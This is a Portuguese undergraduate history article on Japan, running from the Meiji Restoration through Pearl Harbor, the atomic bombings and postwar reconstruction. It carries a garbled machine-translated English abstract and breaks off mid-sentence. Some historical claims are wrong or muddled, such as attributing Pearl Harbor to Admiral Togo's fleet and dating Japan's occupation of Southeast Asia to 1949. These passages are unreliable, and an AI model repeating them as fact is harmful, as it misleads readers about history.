- INTRODUÇÃO
- 1. O ÂMBITO JAPONÊS
- 1.1. Restauração Meiji: O crucial na história Nipônica
- 1.2. Sociedade Nipônica em Transformação: A absorção da Cultura Ocidental.
- 2.1. O Ataque a Pearl Harbor
- 2.2. A Anti Rosa Atômica
- 3.1. Capitalismo e Dinamismo Nipônico
- 3.2. Japão como Projeção Tecnológica
- CONCLUSÃO
- REFERÊNCIAS BIBLIOGRÁFICAS
JAPÃO: TERRA DO SOL NASCENTE[*]
Luciano
Bezerra Agra Filho
Graduado
em Licenciatura Plena em História e Graduando em Licenciatura Plena em
Filosofia pela Universidade Estadual da Paraíba [UEPB].
Resumo: Estamos caminhando para o século XXI e os acontecimentos
históricos, estão passando uma evolução espantosa que está modificando o
dia-a-dia da humanidade. Resolvi fazer um estudo aprofundado de um País do
continente Asiático, que iniciou a sua história, no sistema do regime feudal,
isolado do mundo e, hoje, preocupa os historiadores com o seu dinamismo,
pretendo comprar o mundo. Exponho um título em minha pesquisa: JAPÃO: TERRA
DO SOL NASCENTE. Coloco no meu artigo três capítulos, a saber, sendo que no
primeiro capítulo, em o ÂMBITO JAPONÊS, faço uma análise da Restauração
da era Meiji e o processo crucial dos nipônicos no despertar desta revolução
que transformou o Japão feudal em Japão capitalista. Enquanto que no segundo
capítulo, OS CAMINHOS QUE LEVARAM O JAPÃO A GUERRA, procuro expor em
primeiro plano, o ataque que os japoneses fizeram a base naval que o Pearl
Harbor, e em segundo plano a destruição das duas cidades japonesas, Hiroshima e
Nagasaki, que foram destruída pela Bomba Atômica. E por fim o terceiro
capítulo, O JAPÃO RECONSTRUÍDO, analiso o capitalismo japonês que com o
seu dinamismo fez desta nação um mundo à parte na Ásia, mostrando o seu alto
índice de tecnologia usada.
Palavras-Chave: Japão – Terra – Sol.
Correspondência
Departamento de História e
Geografia – Centro de Educação (CEDUC. I)
Av. Antonio Guedes de Andrade,
190,
Catolé, Cep 58.104-410 – Campina
Grande –PB
E-mail: [email protected]
JAPAN: LAND OF SUN NAISSANT[†]
Luciano
Bezerra Agra Filho
Graduated in Licentiateship Full History and Graduando em
Licentiateship Full in Philosophy from the Universidade Estadual of Paraiba [UEPB].
Abstract: We are moving toward the 21st century and the
historical events, are turning a development astonishing that is changing the
day-to-day of humanity. I undertook a thorough study of a country of the Asian
continent, which began its history, in the system of feudal system, isolated
from the world and, today, concerns the historians with its dynamism, I want to
buy the world. I submit a title in my search: JAPAN: LAND OF SUN RISING. I in my article three chapters, namely, and in the first chapter, in the JAPANESE,
I an analysis of the Restoration of was Meiji and the vital process of
nipônicos in the wake of the revolution which transformed the feudal Japan in Japan capitalist. While in the second chapter, THE WAYS THAT LED THE JAPAN TO WAR,
I try display in the first plan, the attack that the Japanese have the naval
base that the Pearl Harbor, and in the destruction of two cities Japanese, Hiroshima and Nagasaki, which were destroyed by Atomic bomb. AND finally the third
chapter, JAPAN RECONSTRUCTED, I analyze the capitalism Japanese with its
dynamism made this nation a world apart in Asia, showing its high index of
technology used.
Keywords: Japan – Land – sun.
INTRODUÇÃO
No início do século XIX, o Japão um país
feudal, dominado por uma nobreza despótica e uma oligarquia militar fanática,
dividido em servos e castas privilegiadas, era um país que vivia no regime
fechado, num isolamento absoluto. Rompendo o isolamento que mantinha com o
mundo, característica de boa parte de sua história, os nipônicos passaram a
participar ativamente da comunidade internacional, inundando os mercados
mundiais com seus produtos industrializados. A outra face do milagre japonês
foi contudo, a descaracterização das tradições culturais do país, forçadas a se
adaptarem ao estilo de vida das sociedades industriais avançadas.
Vale salientar, que os japoneses com a sua criatividade e dedicação, dando
prioridade a educação, ultrapassaram os países da Europa em potência industrial,
como também superaram os Estados Unidos em inúmeros setores da indústria e da
tecnologia. É interessante assinalar que o milagre econômico de um país feudal
e isolado, é hoje um dos mais espantosos fenômenos dos tempos modernos,
portanto, O JAPÃO: TERRA DO SOL NASCENTE, prepara-se para disputar a
liderança mundial no próximo século.
1. O ÂMBITO JAPONÊS
1.1. Restauração Meiji: O crucial na história Nipônica
O
Japão[‡]
no início do século XIX, ainda era um país pobre de recursos naturais, com uma
população densa. Um país fechado que desconhecia o progresso, e vivia uma
sociedade feudal estagnada e sem entusiasmo para a mudança. O poder pertencia
aos xoguns[§],
embora o imperador fosse considerado o Deus vivo entre os homens. Isto quer
dizer, que os japoneses tinham o conhecimento do poderoso Ocidente, mas, o país
era carente, temia o comércio com estrangeiros. A economia era baseada numa
agricultura insuficiente. A base da população constituía-se de camponeses,
sujeitos à exploração, e é por isso que o isolamento durou cerca de 220 anos.
Assim, acredita-se, que o único e restrito comércio existente situava-se na
feitoria holandesa controlada pelo Bakufu[**]
em Nagasaki. Este período Bakufu implantou um sistema feudal centralizado, a
qual exercia uma forte pressão financeira sobre os senhores feudais.
Os Tokugawa[††]
aboliram todas as futuras relações com os países ocidentais e proibiram a
entrada de todos aqueles, decretando a política isolacionista. Antes deste
isolamento comercial e político, o Japão importava da Espanha, Portugal,
Holanda e Grã-Bretanha, mercadorias como, armas, pólvora, tecidos de lã e exportava
prata, cobre, ferro, arroz, trigo, feijão e assim sucessivamente.
Cabe destacar que a política isolacionista funcionou como proteção das
indústrias internas. A Holanda tinha grande interesse nesta política
isolacionista, porque queria afastar Portugal do comércio com o Japão e foi o
único país que ficou mantendo o comércio apesar do rigoroso controle do Bakufu.
No final do período Tokugawa frotas comerciais e militares dos países como
Rússia, América e Grã-Bretanha, começaram a chegar no país, exigindo abertura
do comércio japonês. O Japão aumenta a cobrança das taxas alfandegárias[‡‡],
para impedir o comércio com o exterior, mas, mesmo assim, o contrabando se
desenvolvia, pois havia no país pessoas com produtos do ocidente. Era uma época
de cobiça e de lucro, os países pressionavam o comércio japonês numa forma
modernizada. A aversão aos estrangeiros crescia e se agravava a crise econômica
no país. As compras no estrangeiro provocaram evasão de moeda, falência no
artesanato e manufaturas locais. Aumentava o preço do trigo, do algodão, da
seda, isso afetava toda a vida social.
Diante
da pressão dos comerciantes de Osaka, aliados aos grandes senhores do Sudeste,
deixando o xugunato sem apoio e sem proteção, estava implantando um clima de
revoltas com partidários dos xoguns e os adversários. Começa o ataque ao
Castelo de Edo, em 1867. Neste ataque tomaram parte, cerca de vinte clãs,
incluindo o Satsuma e o choshu e nos combates acontecidos nos distritos no
Nordeste e de Hokuriku, mais de trinta Clãs lutaram lado a lado com o
ex-bakufu. O clima de guerra civil estava implantado. É neste sentido, que
Michio Morishima disse o seguinte: “Não é possível considerar a Revolução Meiji
como pelo povo e para o povo, nesse caso seria uma revolução de elite.”
(MORISHIMA, 1989, p. 115). Nessa passagem, percebe-se que os camponeses não
haviam adquirido consciência de classe para exigirem o fim da estrutura feudal.
No fim do período Tokugawa, estavam reunidas as condições para criação de um
Estado-Nação, através do intercâmbio comercial.
Um grupo de nobres e samurais apoderou-se do poder, em nome do Imperador. Em
1868, começa a era Meiji. Uma luta que durou meses. A era Meiji chamou-se,
também a era das Luzes do Japão. Agora há duas forças que exerciam o poder: Os
nobres favoráveis a nova ordem com suas políticas econômicas e os grandes
capitalistas enriquecidos. O outro elemento, que ajudou a construir o Japão
moderno, foi o sacrifício do povo.
A Restauração Meiji iniciada em 1868 centraliza o poder no Japão e dá início a
modernização[§§]
do País, baseada em tecnologia e capitais estrangeiros, pode-se, vislumbrar,
portanto, que o governo Meiji construiu modernas fábricas, com o dinheiro
cobrado de impostos lançado aos camponeses. Mas a classe inglesa veio
impulsionar o desenvolvimento moderno do Japão, só que a classe capitalista
japonesa, não assumiu nem um poder em relação aos ingleses, a qual levou o
governo a vender as suas fábricas por baixos preços, mas o resultado desta
política desesperada trouxe esperanças, porque os homens que compraram estas
fábricas, tornaram-se grandes capitalistas. Estes homens devem favor a sua
existência de homens do poder necessário a sua modernização.
Neste momento, as religiões consideradas tradicionais como o Budismo e o
Xintoísmo, não tiveram grande influência no dia-a-dia do povo japonês. O
momento agora é do confucionismo difundindo-se na sociedade com um sistema
ético e não como uma religião. Morishima reconhece este fato quando escreve
que: “O Confucionismo no Japão coloca a tônica (1) na lealdade para com o estado(ou
Senhor), (2) na devoção filial para com os país, (3) na fé para com os amigos,
e (4), no respeito pelos mais velhos.”. (MORISHIMA, 1989, p. 125). É
interessante analisar que o confucionismo compatibilizou-se com a ciência
moderna. Ainda discorrendo sobre isto, Morishima colocou que “ Durante os dois
anos da Revolução o novo governo tudo fez para instituir uma nova estrutura
política”, ((MORISHIMA, 1989, p. 108). Contudo, entende-se ainda, que é um
estado moderno e imperial dotado de um primeiro ministro como conselheiro do
Imperador e principalmente o poder que lhe foi confiado. A experiência nos
últimos dias do Bakufu levou o governo Meiji a pretender um sistema imperial
limitado[***]
e não absoluto[†††].
Considerando, então, que o Japão estava maduro para incorporar as conquistas do
Ocidente. É preciso lembrar ainda, que em poucos anos, o domínio feudal foram
abolidos. Como se pode perceber que os camponeses passaram agora a pagar
impostos moderno ao Estado[‡‡‡].
Essas transformações se processaram com apoio da Inglaterra, explicável pela
rivalidade anglo-russa, um dos aspectos marcante da política internacional no
século XIX. A expansão russa constituía uma ameaça aos interesses ingleses na
China, no Tibete e em outras regiões asiáticas. Daí o auxílio inglês ao Japão
visando a transformá-lo em um aliado capaz de contrabalançar o poderio russo na
Ásia.
1.2. Sociedade Nipônica em Transformação: A absorção da Cultura Ocidental.
O Japão não podendo romper com os estrangeiros, e é o primeiro país da Ásia a
trilhar o caminho da Ocidentalização. Já dizia Amando Martins Janeira que:
“Deve lembrar-se que a Revolução Meiji foi feita pelas camadas cultas da
sociedade e que a esse tempo a cultura nipônica se encontrava em grande decadência”.
(JANEIRA, 1985, p. 32), rompendo o isolamento que mantinha com o mundo,
característico de boa parte de sua história, o Japão passou a participar
ativamente da comunidade internacional, inundando os mercados mundiais com seus
produtos industrializados, sendo que a outra face do Milagre Japonês foi,
contudo a descaracterização das tradições culturais do país, forçado a se
adaptar ao estilo de vida das sociedades industriais avançadas. Percebe-se por
essa leitura que o entusiasmo pela cultura ocidental alastrou-se e o Japão
abriu-se a tudo que vinha de fora. Segundo Janeira, ao se referir sobre os
japoneses a casar com os estrangeiros, argumentava que:
Algumas revistas aconselhavam os japoneses a casar com
os estrangeiros a fim de melhorar a raça e escreveram que todo o sistema de
ensino deveria ser em inglês; na Universidade, as secções de literatura
japonesa e chinesa foram suspensas por algum tempo e em algumas escolas ensinava-se
a literatura inglesa em vez de japonesa. (JANEIRA, 1985, p. 32)
É nesta citação acima que Janeira argumentava que o Japão estava procurando a
modernização, imitando o saber Ocidental, mas os seus valores e éticas
japonesas estavam sendo conservados. Janeira nos mostrou ainda que: “Os altos
funcionários vão para os ministérios de casaca, mas o General Nogui, na morte
do Imperador Meiji, quis seguir o seu soberano e depois de tomar um banho
japonês, vestido de quimone branco imaculado, comete o barakiri ritual.”
(JANEIRA, 1985, p. 32). As rápidas reformas que seguiram a Restauração Meiji,
são os acontecimentos mais importantes da história do Japão e um dos mais
radicais da história moderna. Lançaram as bases do sistema fiscal e financeiro,
requisitos indispensáveis para uma rápida industrialização. É importante notar
ainda que Janeira demonstrava que “A Restauração Meiji, transformou em duas
décadas o Japão num mais moderno” (JANEIRA, 1985, p. 34). Ainda, segundo
Janeira, ao se referir à ciência moderna, o governo Meiji foi bastante lúcido
para dar prioridade a educação. O exército e a marinha precisavam de homens
capazes de ler e conhecer os rudimentos da ciência moderna, ocidental. É nesse
ponto que a tecnologia avançada e os equipamentos industriais vieram da
Inglaterra, dos EUA e da Alemanha. Recebendo cultura estrangeira, o governo
japonês contratou numerosos conselheiros e especialistas de fora para trabalhar
e orientar os nipônicos no que fosse necessário ao crescimento do país. Estes
contatos entre japoneses estudando na Europa e estrangeiros trabalhando no
Japão, foram determinantes para a modernização do país, para o seu progresso
social e político.
Os objetivos do governo na década de 1870 eram o poder político, econômico e
construir um poder comercial e industrial. A velha idéia que a força do país
reside na agricultura foi substituída pela idéia de que o desenvolvimento está
na indústria e no comércio. Janeira vem compreendendo a relação que esta
transição para uma economia moderna foi ajudada pela agricultura, no entanto,
ele dizia que: “As principais exportações eram chá e sedas, que com outros
produtos rurais obtiveram as diversas indispensáveis para comprar as
matérias-primas e máquinas necessárias para construir o moderno setor da
economia.” (JANEIRA, 1985, p. 37), sendo que a primeira indústria a desenvolver
e a contribuir com um grande número para a exportação foi a indústria têxtil,
com a expansão industrial facilitou o setor de produção de armamentos.
2. CAMINHOS QUE LEVARAM O
JAPÃO A GUERRA
2.1. O Ataque a Pearl Harbor
“A
esquadra japonesa do almirante Togo bomderdeou, em 7 de dezembro de 1941, a
esquadra americana do Pacífico ancorada em Pearl Harbor”. (JANEIRA, 1985, p.
44). Os nipônicos atacaram a base americana, com o objetivo de expandir seus
domínios em direção à China e as ilhas do Oceano. O ataque japonês provocou a
entrada dos EUA na guerra. “O Japão havia se tornado o país forte na Ásia, o
único que tinha sabido assimilar os segredos do poder militar ocidental.” (JANEIRA,
1985, p. 20). As pretensões expansionistas nipônicas vêm desde 1894, quando o
País provocou uma guerra com a China sobre o controle da Coréia. Os japoneses
conquistaram facilmente a Coréia, destruíram as forças navais chinesas,
invadiram o Sul da Mandchúria e capturaram o porto de Nei-hainei no próprio
território chinês.[§§§]
Os chineses reconhecendo a independência da Coréia cede ao japonês a rica ilha
de Formosa.
Em 1914, o Japão participou da Primeira Guerra Mundial[****],
tomando posição contra a Alemanha, ao lado da Inglaterra. Derrotando a Rússia
grande potência européia, é reconhecida como potência militar[††††]
e industrial. Agora os nipônicos preferiam um regime político mais aberto e se
manifestavam contra os altos impostos para financiar os orçamentos naval e
militar. “Tendiam a crer que seria mais vantajoso obter concessões no
estrangeiro por meio diplomáticos e expandir a economia mediante as exportações
comerciais do que prosseguir na expansão colonial por meio da guerra e das
conquistas territoriais.” (PERALVA, 1991, p. 26).
Acontece que os norte-americanos eram isolacionistas, “Protegidos por dois
oceanos, eriçados de belonaves, com alto padrão de vida, não queriam
imiscuir-se nas desavanças do Velho e do Velhíssimo Mundo.” (PERALVA, 1991, p.
35). Peralva argumentou que o presidente Roosevelt, mostrou que uma guerra no
resto do mundo acabaria sufocando a América, então, ele redigiu e leu estas
palavras: “Como tenho a oportunidade de me dirigir, uma vez mais, a vós, pais e
mães da América, devo assegurar uma coisa. E repetirei mais e mais: não
enviaremos nunca vossos rapazes para se baterem em nenhuma guerra estrangeira”.
(PERALVA, 1991, p. 35).
A 1º de Setembro de 1939, a Polônia foi invadida, sem formal declaração de
guerra, pela Alemanha. Dois dias mais tarde, a Inglaterra e a França declararam
guerra a Alemanha. Iniciava-se a Segunda Guerra Mundial[‡‡‡‡].
Começa a era de sacrifícios humanos. A expansão do Japão no Continente asiático
conduziu ao predomínio dos militares na vida interna do País. “A conquista era
uma causa nacional. […] Um incidente entre tropas japonesas e chinesas, em
1937, na Ponte Lukuquião de que fala Marco Pólo, foi o começo da grande
aventura militar no continente, que só terminou com a última guerra”.
(JANEIRA, 1985, p. 43). Recuperando-se no plano econômico e militar, a
Alemanha, a Itália e o Japão, estavam decididos a modificar a situação mundial.
Por isso, adotaram, no decorrer da década de 30 uma política internacional
agressiva, cujo objetivo era a expansão territorial.
O General Hedeki Tojo, queria guerra com os EUA, até por uma questão de
prestígio. “Só esse país lhe parecia um inimigo suficientemente importante com
quem se bater”. (PERALVA, 1991, p. 34). O Japão em 1949, ocupava o sudeste da
Ásia, região do interesse dos EUA. O povo americano desejava a paz, mas seu
governo e os interesses imperialistas queriam deter os japoneses. O EUA
deixaram de exportar materiais essenciais aos nipônicos. Mas quando as tropas
japonesas ocuparam as Filipinas pertencentes aos EUA, os americanos congelaram
os interesses nipônicos nos EUA e impuseram um embargo aos fornecimentos de
petróleo ao Japão. É neste contexto que Peralva disse que:
As 13 horas e 20 minutos (8 e 20 no Havaí), as
esquadrilhas japonesas, decolando de porta-aviões a nordeste da ilha, se abatem
sobre a frota ancorada e sobre os aviões americanos em terra, tudo destruindo
ou incendiando, em duas vagas sucessivas praticamente sem qualquer reação
norte-americana. Em meia hora consumou-se o maior desastre militar da história
dos Estados Unidos. (PERALVA, 1991, p. 39).
No mesmo dia, bombardeios nipônicos estacionados em Formosa atacaram as bases
aéreas de Clark e Iba nas Filipinas, destruindo mais de 50% da Força Aérea do
Exército dos EUA, no Extremo Oriente[§§§§].
Uma mensagem da Casa Branca anuncia o ataque japonês e declara que o presidente
fará um pronunciamento na parte da tarde. Roosevelt chama Churchil ao telefone,
em Londres, comunica o fato e afirma: “De agora em diante estamos no mesmo
barco! […]. Os EUA foram lançados numa guerra que se tornou mundial.”
((PERALVA, 1991, p. 40). Os americanos se levantaram da catástrofe militar.
Reconstruíram a Marinha e criaram uma Força Aérea que superava a dos japoneses.
No pacífico, a partir de 1943, os nipônicos passaram a ter seus dias contados.
Na Batalha de Midway e Guadalcanal, os americanos, que já tinham ocupado quase
todas as posições japonesas, destruíram o que restava da sua Marinha.
Preparava-se, então, a invasão do próprio Japão, onde a resistência poderia ser
desesperada.
2.2. A Anti Rosa Atômica
HIROSHIMA E NAGASAKI
Duas cidades japonesas foram devastadas por um novo tipo de arma – A Bomba
Atômica -. A fabricação de uma bomba dessa natureza poderia ser tão poderosa
que destruiria todo um território.
A partir dos fins de 1943 e por todo o ano de 1944, a sorte da guerra havia
mudado. O Japão que vencia batalhas que dominava territórios, estava chegando
ao fim. O objetivo dos americanos, agora, era dominar o Japão e conquistar seus
territórios perdidos. Em agosto de 1945, os japoneses já estavam praticamente
derrotados, mas o Governo norte-americano, com o pretexto de abreviar a guerra,
jogou sua cartada final, decidindo usar, pela primeira vez na história, As
Bombas Atômicas, construídas pelos cientistas norte-americanos com base nos
estudos desenvolvidos por físicos, como Juliot –Curie, francês; Fermi,
italianos: Einstein, Alemão e Openheimer, norte-americano. Uma experiência já
havia sido feita nos Estados Unidos. Seus resultados não eram, portanto
desconhecidos.
A primeira mensagem foi enviada por Franklin Delano
Roosevelt em julho de 1941, logo depois do inesperado ataque de Hitler à União
Soviética. E a última, em abril de 1945, pouco antes da súbita morte de
Roosevelt. Um total de 304 comunicados foi trocado entre o então presidente
americano e o comandante soviético Josef Stálin. Cartas escritas no calor da 2ª
Guerra Mundial e que revelam a personalidade e as estratégias políticas dos
dois líderes. […] Em 1941, Roosevelt, Stálin e o primeiro-ministro inglês
Winston Churchill formavam a força aliada que lutava contra Adolf Hitler, à
época com diversos países anexados e com chances substanciosas de vencer a
guerra. Naquele ano, aconteceram dois fatos decisivos: a invasão da URSS pelos
alemães, quebrando o pacto de não-agressão entre Hitler e Stálin; e o ataque
japonês a Pearl Harbor, obrigando os EUA a oficialmente declararem guerra à
Alemanha, Itália e ao Japão. […] Com a morte de Roosevelt em abril de 1945,
no entanto, e a posse de Harry Truman, um presidente pouco disposto a estreitar
laços com Stálin, a Guerra Fria tomou conta do mundo. ‘Talvez isso explique, em
parte, os motivos de a correspondência entre Roosevelt e Stálin ter ficado
esquecida durante tanto tempo’, sugere Susan Butler. (BRASIL, 2008, p. 01)
O novo presidente é informado sobre a experiência do Projeto Manhattan.
Analisando o Projeto, tenta convencer os governantes nipônicos da insensatez de
continuar a resistência. O Primeiro Ministro não leva a sério a ameaça. Trumam
decidiu, então, lançar duas bombas atômicas sobre o Japão. A 6 de Agosto de
1945, é lançada a primeira bomba sobre Hiroshima e três dias depois sobre
Nagasaki. Os governantes nipônicos não aceitaram a rendição. Suzuki que ficou
responsável para dirigir pessoalmente o povo, resolveu fazer uma gravação.
Pedia à nação que aceitasse a decisão do destino e cessasse a luta armada, já
agora sem nenhum sentido. E concluía: “Nós vos incumbimos, vós, nossos leais
súditos, de executar lealmente nossa vontade.”. Mas antes que a mensagem
transmitida, dois generais entram no Palácio Imperial, e pediram que ele
entregasse a gravação e se rendesse, e é por isso que houve recusa e o guarda
pessoal do Imperador foi assassinado com dois golpes de espada, havendo
proteção ao Imperador foi providenciada a prisão dos facciosos e a difusão da
gravação decisiva, ouvida em todo o País. O general Anami e quatro chefes do
exército decidiram suicidar-se.
A guerra da Coréia se iniciou em 25 de junho de 1950 e
terminou em 27 de julho de 1953. Os Estados Unidos e a União Soviética eram
ex-aliadas e a guerra da Coréia aconteceu devido o conflito entre eles. A
Coréia é dividida pelo paralelo 38 que é usada para demarcar os territórios dos
dois exércitos. A Coréia do norte era comunista liderada pela União Soviética e
a Coréia do sul era capitalista liderada pelos Estados Unidos. Em 03 de julho
de 1950, depois de várias tentativas para derrubar o governo do sul, a Coréia
do norte ataca de surpresa a capital. O governo do sul por sua vez enviam
tropas comandadas pelo general Douglas McArthur para que a Coréia do sul retire
os invasores do seu território. Em setembro o governo do sul começa a atacar o
exército norte-coreano a fim de conquistar a costa oeste ocupada por eles. Os
norte-coreanos foram vencidos e três meses após o conflito Seul, capital da
Coréia do Sul foi desocupada. Em outubro, as forças internacionais violam o
paralelo 38 e atacam a Coréia do norte. A capital norte-coreana é invadida pelo
exército sul-coreano e pelas tropas americanas aproximando-se da China. A China
por sua vez, temerosa por uma invasão mandou tropas para ajudar a Coréia do
norte. O general Douglas McArthur insistiu em uma invasão à China e por isso
foi substituído pelo general Ridway em abril de 1951. Em 23 de junho de 1953
iniciou-se o processo de negociações pela paz que durou dois anos. As
negociações resultaram num acordo assinado em Panmujon em 27 de julho de 1953.
Foi então que o conflito terminou, mas o tratado de paz até hoje não foi
assinado e a Coréia continua dividida em norte e sul. Foram cerca de três
milhões e meio de mortos na guerra da Coréia e outros milhares presos
amontoados em campos de concentração. (BORGES, 2008, p. 01)
A destruição de Hiroshima e Nagasaki foi uma séria advertência ao Mundo. As
guerras que até, então, ceifavam vidas de milhares, teriam de ora em diante
poder destrutivo total. O genocídio cometido pelos EUA não é justificativa como
uma vingança e Pearl Harbor e nem como fator decisivo para fim ao conflito, uma
vez que o Japão estava derrotado. Contudo, em pleno dia 6 de Agosto de 1945 do
século XX, já no término da Segunda Guerra Mundial, é que a cidade nipônica de
Hiroshima foi desnecessariamente bombardeada pela força aérea americana. É
importante frisar que durante os três dias mais tarde segui-se o bombardeio de
Nagasaki, mas a sua justificação era forçar a rendição do Japão, todavia, o que
ficou evidenciado era que ambas faziam parte de uma verdadeira demonstração de
força do armamento nuclear dos EUA. Em conseqüência disto, as cidades foram
escolhida por estarem situadas exatamente entre vales, o que facilitaria a
avaliação dos danos causados pela nova tecnologia bélica, a qual nunca até
então havia sido usada e nem se sabia quais seriam suas conseqüências, com isso
soma-se a isso o fato de que essas cidades nunca sofreram ataques durante a
Segunda Guerra.
Em contrapartida a detonação da Little Boy, como era chamada a bomba que causou
a morte de mais de 250 mil pessoas em Hiroshima, foi ouvida até o alcance das
cidades vizinhas. Em seguida ela destruiu tudo o que encontrava num raio de
dois quilômetros e meio, devastando vegetação e estrutura da cidade. No entanto,
o aporte térmico da bomba teve um alcance ainda maior. Outro ponto importante é
que a detonação da Fat Man sobre Nagasaki causou tanta destruição quanto em
Hiroshima, e é por isso que os sobreviventes que sofreram fortes queimaduras
devidas á propagação do intenso calor, fora da área de explosão, andavam pelas
ruas sem saber o que havia acontecido.
Em suma a radioatividade se partilhou provocando chuvas ácidas, causando a
contaminação da região, incluindo lagos, rios, plantações, porém, inclusive, os
sobreviventes foram atendidos dias depois, o que ocasionou a morte lenta e
agonizante de muitos. Atualmente os descendentes dos habitantes afetados sofrem
os efeitos da radioatividade, e em tempos depois a cidade foi sendo
reconstruída. Vale ressaltar que após mais de 60 anos decorridos da tragédia
que marcou a história mundial, Hiroshima se transformou numa cidade moderna e
amplamente desenvolvida, com árvores, prédios, pessoas circulando e carros,
como em qualquer outra. Logo, as lembranças continuam vivas dentro de cada um,
sendo assim foi construído o Memorial da Paz de Hiroshima, uma das atrações
mais visitadas no Japão, servindo de apelo à paz e um acervo cultural.
3. O JAPÃO RECONSTRUÍDO:
POTÊNCIA MUNDIAL
3.1. Capitalismo e Dinamismo Nipônico
Após a derrota na Segunda Guerra Mundial, o Japão constituía um cenário
dramático, composto por centenas de vidas sacrificadas e por cidades inteiras
destruídas pelos bombardeios aéreos, entre os quais se incluem os lançamentos
das primeiras bombas atômicas, em Hiroshima e em Nagasaki. No plano econômico,
reinava no País um verdadeiro caos: a produção agrícola e industrial estava
arruinada, e o comércio exterior achava-se paralisado pela destruição da
marinha japonesa.
Oficializada a rendição do Japão, os Estados Unidos encarregaram-se de ocupar
militarmente o País, com a promessa de que o povo não seria escravizado nem na
nação, destruída e passaram a comandar efetivamente a política de reconstrução
sócio-econômico japonês, segundo as diretrizes norte-americanas. Não havendo
mais saída, o Japão se rendeu em 15 de agosto de 1945. Chegava então, o fim da
Segunda Guerra Mundial. “A vitória em 1945 foi total, a rendição incondicional.
Os Estados inimigos derrotados foram totalmente ocupados pelos vencedores.”
(HOBSBAWM, 2001, p. 49). Essa política, dirigida pessoalmente pelo general
americano Douglas Mac Arthur promoveu no Japão uma série de reformas nos
campos políticos, social e econômico. Em 1946 foi elaborada uma nova
Constituição para o País, baseada no modelo dos Estados Unidos. As modificações
foram revolucionárias, principalmente por causa do Status do Imperador, cuja
soberania era transferida ao povo. O Imperador passava a ser um símbolo do
Estado, com isso ele só podia atuar em assuntos do Estado previsto na
Constituição. Rompia-se todo um laço com a velha teoria política do Estado
japonês.
[…] Após o término da Segunda Guerra Mundial, o
Japão adotou a monarquia parlamentarista, regime desde então mantido. Com a
promulgação da Constituição de 1947, o sistema parlamentar foi baseado no
modelo inglês de supremacia do parlamento, em que o Poder Executivo é exercido
por um primeiro-ministro, líder do partido vencedor das eleições legislativas.
O imperador exerce, na prática, um papel simbólico, não obstante seja, de fato,
o chefe de Estado. Ele representa o “símbolo do Estado e a unidade do povo”,
segundo preceitua a própria constituição. O Poder Legislativo é o mais forte
dos três, representado pela Dieta, o Congresso Bicameral formado por uma Casa
dos Representantes (câmara baixa) e uma Casa dos Conselheiros (câmara alta). A
constituição japonesa do pós-guerra, imposta pelos norte-americanos, foi
promulgada pela Dieta em 1947, mantendo-se intacta até hoje, face à ausência de
emendas. Dentre seus artigos, o mais polêmico é, estreme de dúvidas, o nono,
que proíbe a manutenção, no país, de forças armadas: em síntese, o Japão
renunciou, aqui, ao direito de beligerância. ( ESPÍNDOLA e VERGARA, Artigo 7, p.
3).
O objetivo básico do conjunto de reformas orientado por Mac Arthur era afastar
totalmente o Japão da influência do bloco Socialista com a Revolução Chinesa
liberada por Mão Tse-Tung. O Japão deveria ser transformado num lugar seguro
para as operações capitalistas na Ásia. Para isso, estimulou-se o
desenvolvimento industrial japonês, com significativos investimentos de
capitais dos Estados Unidos. Assim de inimigo derrotado o Japão transformou-se
no mais importante aliado do capitalismo no continente asiático. A década de
1950, foi a época do Milagre japonês, de grande crescimento industrial, baseado
na reorganização dos grandes monopólios, no capital estrangeiro e na acumulação
feita a partir do pagamento de baixos salários.
O conflito entre as duas Coréias, de 1950 a 1953,
levou americanos e soviéticos a medirem forças por meio de terceiros, no auge
da "guerra fria". As origens da guerra da Coréia, entre forças da
República Popular Democrática da Coréia e da China, de um lado, e da República
da Coréia e seus aliados do outro, remontam ao fim da segunda guerra mundial,
em l945, quando ficou estabelecido que o paralelo 38o dividiria a península da
Coréia em duas zonas: a do norte, ocupada por soviéticos, e a do sul, sob
controle americano. Fracassadas as negociações para reunificar o país,
realizaram-se eleições separadas em l947, instalando-se em cada zona um governo
independente, dos quais só o do sul foi reconhecido pelas Nações Unidas. Em
l948 constituíram-se dois estados autônomos: a República Popular Democrática da
Coréia (Coréia do Norte) e a República da Coréia (Coréia do Sul). No ano
seguinte, a maior parte das tropas estrangeiras retirou-se dos dois países.
Forças comunistas do norte atacaram repetidamente a Coréia do Sul e a invadiram
em 25 de junho de l950. Dois dias depois o presidente dos Estados Unidos, Harry
S. Truman, enviou tropas para a Coréia do Sul, embora sem autorização do
Congresso para declarar guerra. […] Em fevereiro de l95l, a Assembléia Geral
da ONU aprovou resolução pela qual condenava a China como potência agressora.
Os chineses responderam com uma segunda ofensiva contra a Coréia do Sul. Em
meados de março, as tropas da ONU retomaram Seul e, depois de sucessivos
contra-ataques, conseguiram cruzar novamente o paralelo 38o. MacArthur
pretendia levar o conflito ao território chinês, mas o perigo de uma nova
guerra mundial levou o presidente Truman a substituí-lo pelo general Matthew
Ridgway e, em maio de 1952, pelo general Mark W. Clark. Enquanto isso, desde
julho de 1951 tentava-se na ONU a suspensão das hostilidades, por meio de
conversações de paz. Em 27 de julho de l953 foi assinado o armistício, que
fixou as fronteiras entre as duas Coréias segundo as últimas linhas de batalha,
na altura do paralelo 38o. (PAULO, 2010, p. 01)
Quando o general Mac Arthur deixou o Japão o País recuperou sua soberania a
sociedade japonesa exibia uma face inteiramente nova, marcada pela decisiva
ação do sistema capitalista. Os nipônicos atingiram um espantoso ritmo de
crescimento econômico, que transformou numa das mais importantes e competitivas
nações industrializadas do mundo, destacando-se os setores eletrônicos,
automobilístico e naval, e com isso A rapidez de progresso econômico japonês
colheu o ocidente de surpresa. Assimilando os processos científicos e
tecnológicos ocidentais modificando os freqüentemente em menos de vinte anos o
Japão conquistava o primeiro lugar na construção naval, produção de automóveis,
motos, câmaras fotográficas, petroquímica, televisões, relógios,
magnetoscópios, eletrônicas, pianos, máquinas de costuras, exportação de ferro
e aço.
Vale ressaltar que os nipônicos para conseguir em este espantoso surto
industrial partiram do zero. É importante notar ainda que o Japão saiu da
última guerra completamente destruído, mas, o grande fator que contribuiu na
construção econômica foi o papel de técnicos que eram habilitados e
especializados. Como se vê, o milagre é o resultado de planos cuidadosamente
estudados de decisões muito ponderadas e de medidas precisas bem executadas de
organização metódica e de bom senso. É uma obra-prima de organização e de
vontade esclarecida: dedicação ao trabalho, energia e persistência, além do
sentimento de pertencer a uma comunidade nacional isolada nas suas ilhas e uma
cultura e identidade nacional única e inconfundível.
O Japão, a potência que se ergueu das cinzas, acerta a economia a prepara-se
